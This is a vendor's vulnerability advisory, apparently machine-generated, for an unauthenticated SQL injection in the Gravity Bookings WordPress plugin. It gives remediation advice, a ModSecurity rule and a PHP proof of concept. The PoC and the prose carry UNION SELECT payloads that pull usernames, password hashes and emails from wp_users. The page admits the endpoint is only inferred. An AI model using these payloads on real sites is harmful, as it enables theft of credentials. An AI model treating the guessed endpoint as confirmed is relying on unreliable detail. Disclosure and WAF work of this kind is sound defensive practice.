Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-1719: Gravity Bookings <= 2.5.9 – Unauthenticated SQL Injection via 'category_id' Parameter (gf-bookings-premium)

CVE ID CVE-2026-1719
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.5.9
Patched Version
Disclosed May 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1719 (metadata-based):

This vulnerability is an unauthenticated SQL Injection discovered in the Gravity Bookings Premium plugin for WordPress, affecting versions up to and including 2.5.9. The CVSS score is 7.5 with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, indicating a high severity with confidentiality impact only. The vulnerability exists in the plugin’s handling of the ‘category_id’ parameter, allowing attackers without authentication to inject malicious SQL queries.

The root cause, based on the CWE-89 classification and vulnerability description, is improper neutralization of special elements used in an SQL command. The description states that there is insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This is a classic SQL injection pattern where the ‘category_id’ parameter is likely used directly in a SQL query without being properly sanitized or parameterized. Atomic Edge analysis infers that the vulnerable code likely uses a construct like $wpdb->query(“SELECT … WHERE category_id = ” . $category_id) instead of using $wpdb->prepare() with a placeholder. This is inferred from the CWE and description; no code diff is available to confirm the exact line.

For exploitation, an unauthenticated attacker would target a publicly accessible endpoint that processes the ‘category_id’ parameter. Common WordPress plugin patterns for such an endpoint include an AJAX action (e.g., admin-ajax.php?action=gf_bookings_get_categories) or a REST API endpoint (e.g., /wp-json/gf-bookings/v1/categories). The attacker would submit a request with the ‘category_id’ parameter containing SQL injection payloads, such as ‘ UNION SELECT user_pass FROM wp_users– or ‘ AND 1=0 UNION SELECT database()–. The attack vector is network-based and requires no privileges, making it highly accessible. The following sections describe the exploitation method in detail.

Remediation requires changing the vulnerable SQL query to use prepared statements with parameterized queries. The WordPress $wpdb class provides $wpdb->prepare() which automatically escapes values and uses placeholders like %d or %s. The fix should ensure that the ‘category_id’ parameter is first sanitized as an integer (intval) or passed as a placeholder. Additionally, capability checks or nonce verification should be added if the endpoint is intended for authenticated users only.

If exploited, this vulnerability allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), email addresses, and any other data stored in the database. This can lead to complete account takeover if an attacker cracks the password hashes, or further attacks against other services using the same credentials. The impact is constrained to confidentiality (data exposure) as per the CVSS vector, but successful exploitation could be a stepping stone to privilege escalation.

For the proof-of-concept, Atomic Edge research assumes a common plugin AJAX action: ‘gf_bookings_get_categories’ which accepts a ‘category_id’ parameter via POST. The PoC sends a request with a SQL injection payload to demonstrate the vulnerability. If the endpoint differs (e.g., a REST route), the PoC can be adapted similarly.

For the ModSecurity rule, Atomic Edge research blocks exploitation by matching the AJAX action parameter and detecting SQL injection patterns in the ‘category_id’ parameter. The rule uses @detectSQLi which is a nullary operator that performs SQL injection pattern matching on the parameter value. This approach is narrowly scoped to the specific action and parameter.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-1719 (metadata-based)
# Blocks unauthenticated SQL injection via 'category_id' parameter in Gravity Bookings Premium < 2.6
# Targets the AJAX action 'gf_bookings_get_categories'

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261719,phase:2,deny,status:403,chain,msg:'CVE-2026-1719 - Gravity Bookings SQL Injection via category_id',severity:'CRITICAL',tag:'CVE-2026-1719'"
  SecRule ARGS_POST:action "@streq gf_bookings_get_categories" 
    "chain"
    SecRule ARGS_POST:category_id "@detectSQLi" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1719 - Gravity Bookings <= 2.5.9 - Unauthenticated SQL Injection via 'category_id' Parameter

// Assumes the vulnerable endpoint is an AJAX action: admin-ajax.php?action=gf_bookings_get_categories
// The 'category_id' parameter is passed via POST without proper sanitization.

$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// Payload: use UNION to extract WordPress user passwords (hashes)
$category_id = "0 UNION SELECT user_login,user_pass,user_email FROM wp_users-- ";

// Prepare POST data
$post_data = array(
    'action' => 'gf_bookings_get_categories',
    'category_id' => $category_id
);

// Initialize cURL
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    // Output the response (likely contains extracted data)
    echo "Response:n$responsen";
}

// Close cURL
curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School